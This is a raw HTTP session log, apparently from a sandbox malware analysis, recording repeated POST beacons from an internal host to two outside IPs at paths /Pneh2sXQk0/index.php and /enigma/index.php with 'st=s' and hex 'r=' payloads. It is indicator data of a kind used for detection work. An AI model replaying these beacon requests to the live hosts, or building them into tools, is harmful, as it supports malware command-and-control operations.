Apr 19, 2024 03:36:37.782433987 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:38.033735037 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1451	192.168.2.5	51306	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:38.369090080 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:38.614622116 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1452	192.168.2.5	51307	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:38.373883009 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:38.625691891 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1453	192.168.2.5	51308	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:38.867949009 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:39.120127916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1454	192.168.2.5	51309	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:38.875552893 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:39.124686003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1455	192.168.2.5	51310	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:39.461416960 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:39.707493067 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1456	192.168.2.5	51311	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:39.461534023 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:39.703552008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1457	192.168.2.5	51312	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:39.961059093 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:40.217286110 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1458	192.168.2.5	51313	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:39.962671995 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:40.216438055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1459	192.168.2.5	51314	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:40.548809052 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:40.797430992 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1460	192.168.2.5	51315	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:40.555805922 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:40.803416014 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1461	192.168.2.5	51316	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:41.049673080 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:41.303070068 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1462	192.168.2.5	51317	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:41.050071955 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:41.298599005 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1463	192.168.2.5	51319	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:41.632816076 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:41.875309944 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1464	192.168.2.5	51318	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:41.637824059 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:41.890289068 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1465	192.168.2.5	51320	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:42.129074097 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:42.383872986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1466	192.168.2.5	51321	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:42.143060923 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:42.395394087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1467	192.168.2.5	51322	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:42.727334023 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:42.970541000 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1468	192.168.2.5	51323	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:42.735476971 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:42.987533092 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1469	192.168.2.5	51324	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:43.218916893 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:43.465962887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1470	192.168.2.5	51325	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:43.239856005 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:43.491378069 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1471	192.168.2.5	51326	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:43.800664902 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:44.042922974 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1472	192.168.2.5	51327	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:43.821569920 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:44.069855928 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1473	192.168.2.5	51328	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:44.293474913 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:44.541182995 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1474	192.168.2.5	51329	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
